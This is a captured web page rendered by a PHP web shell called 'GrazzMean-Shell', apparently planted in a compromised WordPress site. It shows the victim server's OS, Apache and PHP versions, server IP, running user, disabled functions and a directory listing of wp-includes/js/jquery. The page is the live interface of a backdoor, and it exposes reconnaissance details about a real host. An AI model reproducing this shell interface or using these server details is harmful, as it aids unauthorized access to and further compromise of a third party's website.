shell bypass 403

GrazzMean-Shell Shell

: /var/www/utdes.com/wp-includes/js/jquery/ [ drwxr-xr-x ]
Uname: Linux wputd 5.4.0-200-generic #220-Ubuntu SMP Fri Sep 27 13:19:16 UTC 2024 x86_64
Software: Apache/2.4.41 (Ubuntu)
PHP version: 7.4.3-4ubuntu2.24 [ PHP INFO ] PHP os: Linux
Server Ip: 158.69.144.88
Your Ip: 3.137.214.16
User: www-data (33) | Group: www-data (33)
Safe Mode: OFF
Disable Function:
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
name last edit size owner:downer permission options
..
ui 2025-01-08 14:40:11 - www-data:www-data drwxr-xr-x
.htaccess 2025-01-08 14:40:11 237 B www-data:www-data -r-xr-xr-x
jquery-migrate.js 2024-04-12 00:03:50 31.23 KB www-data:www-data -rwxr-xr-x
jquery-migrate.min.js 2024-04-12 00:03:50 13.26 KB www-data:www-data -rwxr-xr-x
jquery.color.min.js 2022-09-14 00:52:52 6.88 KB www-data:www-data -rwxr-xr-x
jquery.form.js 2021-12-06 23:54:05 40.93 KB www-data:www-data -rwxr-xr-x
jquery.form.min.js 2024-04-12 00:03:50 15.6 KB www-data:www-data -rwxr-xr-x
jquery.hotkeys.js 2021-03-15 19:32:30 5.49 KB www-data:www-data -rwxr-xr-x
jquery.hotkeys.min.js 2012-08-23 07:04:18 1.75 KB www-data:www-data -rwxr-xr-x
jquery.js 2024-04-12 00:03:50 278.65 KB www-data:www-data -rwxr-xr-x
jquery.masonry.js 2024-11-27 14:40:07 553 B www-data:www-data -rw-r--r--
jquery.masonry.min.js 2016-08-19 01:55:30 1.78 KB www-data:www-data -rwxr-xr-x
jquery.min.js 2024-04-12 00:03:50 85.5 KB www-data:www-data -rwxr-xr-x
jquery.query.js 2022-09-14 00:52:52 3.61 KB www-data:www-data -rwxr-xr-x
jquery.schedule.js 2008-01-11 00:35:48 3.38 KB www-data:www-data -rwxr-xr-x
jquery.serialize-object.js 2021-03-15 19:32:30 769 B www-data:www-data -rwxr-xr-x
jquery.table-hotkeys.js 2021-03-15 19:32:30 3.66 KB www-data:www-data -rwxr-xr-x
jquery.table-hotkeys.min.js 2012-08-23 07:04:18 2.24 KB www-data:www-data -rwxr-xr-x
jquery.ui.touch-punch.js 2012-04-11 09:58:24 1.15 KB www-data:www-data -rwxr-xr-x
suggest.js 2016-01-14 00:22:28 6.83 KB www-data:www-data -rwxr-xr-x
suggest.min.js 2016-01-14 00:22:28 2.92 KB www-data:www-data -rwxr-xr-x
© 2025 GrazzMean-Shell